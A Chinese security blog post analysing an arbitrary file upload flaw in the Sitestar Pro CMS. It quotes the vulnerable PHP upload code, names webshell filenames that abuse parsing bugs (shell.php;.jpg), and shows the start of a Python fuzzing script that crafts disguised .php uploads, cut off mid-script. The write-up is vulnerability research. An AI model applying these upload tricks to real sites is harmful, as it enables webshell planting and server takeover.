建站之星模糊测试实战之任意文件上传漏洞

没穿底裤 2020年1月1日04:16:27评论640 views字数 3072阅读10分14秒阅读模式
摘要

0x00 Sitestar美橙互联又一力作,建站之星专业版(Sitestar Pro),无拘无束,信手拈来,创意无限,不拘一格,轻松创建属于您自己的网站!

0x00 Sitestar

美橙互联又一力作,建站之星专业版(Sitestar Pro),

无拘无束,信手拈来,创意无限,不拘一格,轻松创建属于您自己的网站!

0x01 漏洞的产生

/module/mod_tool.php 第89行起,img_create()函数
[php]
public function img_create() {

$file_info =& ParamHolder::get('img_name', array(), PS_FILES);

if ($file_info['error'] > 0) {

Notice::set('mod_marquee/msg', __('Invalid post file data!'));

Content::redirect(Html::uriquery('mod_tool', 'upload_img'));

}

//exit($file_info["name"]);

if(!preg_match('//.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])) {

//echo '2222';

Notice::set('mod_marquee/msg', __('File type error!'));

Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));

}

if(file_exists(ROOT.'/upload/image/'.$file_info["name"])) {

$file_info["name"] = Toolkit::randomStr(8).strrchr($file_info["name"],".");

}

if (!$this->_savelinkimg($file_info)) {

Notice::set('mod_marquee/msg', __('Link image upload failed!'));

Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));

}[/php]
上述关键的代码
[php]
if(!preg_match('//.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])) {

Notice::set('mod_marquee/msg', __('File type error!'));

Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));

}[/php]
其中 PIC_ALLOW_EXT 为 gif|jpg|png|bmp 即如果文件名最后不是gif|jpg|png|bmp,则提示文件类型错误

我们继续往下看...
[php]
if (!$this->_savelinkimg($file_info)) {

Notice::set('mod_marquee/msg', __('Link image upload failed!'));

Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));

}[/php]
跟进_savelinkimg函数 736行-741行
[php]
private function _savelinkimg($struct_file) {

$struct_file['name'] = iconv("UTF-8", "gb2312", $struct_file['name']);

echo $struct_file['name'];

move_uploaded_file($struct_file['tmp_name'], ROOT.'/upload/image/'.$struct_file['name']);

return ParamParser::fire_virus(ROOT.'/upload/image/'.$struct_file['name']);

}
[/php]
其中我们关心的是move_uploaded_file函数
[php]
move_uploaded_file($struct_file['tmp_name'], ROOT.'/upload/image/'.$struct_file['name']);
[/php]

看见没有,直接用我们上传的的文件名作为最终写进硬盘的文件名

到这里,我们可以简单对其进行利用

上传类似如下文件:shell.php;.jpg 或shell.php.a;.jpg 利用解析漏洞即可利用,但这并不是我们今天所要讲的内容,SO 继续....

0x02 尝试漏洞利用

既然文件名是我们上传的文件名,那我们用截断上传试试呢...

首先我们尝试最最最常用的截断方法: %00

为方便调试,我们加入调试代码
[php]
if(!preg_match('//.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])) {

exit("Error,不能截断.");//调试代码

Notice::set('mod_marquee/msg', __('File type error!'));

Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));

}[/php]
同时将如下代码保持为sitestar.htm
[php]

[/php]
打开sitestar.htm,Burpsuite抓包 采用%00截断:
建站之星模糊测试实战之任意文件上传漏洞
输出了我们的调试代码
建站之星模糊测试实战之任意文件上传漏洞
看见了吧,不能成功的被截断,那我们是不是就到此为止了呢? 显然 答案是NO!

额 !!想起来了...我们都知道Fuzzing很强大... SO 继续吧...
0x03 Fuzzing成功利用

丢一真理:实践出真知,各位看官们 眼睛睁大了...

为了能Fuzzing,看来还得码代码啊,首先抓个上传的包,方便代码中用

这里我们用py写Fuzzing的代码,好吧 我已经给各位写好啦
[php]
#D:/Python27/python.exe

#coding = utf-8

import os

import re

import sys

import random

import urllib2

import urllib

def hex_to_asc(ch):

return '{:c}'.format(int(float.fromhex(ch)))

def rand5str(num):

sts = ''

char = '1234567890abcdexyz'

for i in range(num):

sts += random.choice(char)

return sts

def postdata(strr):

global sname

sname = rand5str(8)

data = '------WebKitFormBoundaryFz8xcpseXipPJz6Q/r/n'

data +='Content-Disposition: form-data; name="img_name"; filename="%s.php%s;a.gif"/r/n' % (sname,strr)

data +='Content-Type: image/gif/r/n'

data +='/r/n'

data +='GIF89a

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日04:16:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   建站之星模糊测试实战之任意文件上传漏洞https://cn-sec.com/archives/75505.html

发表评论

匿名网友 填写信息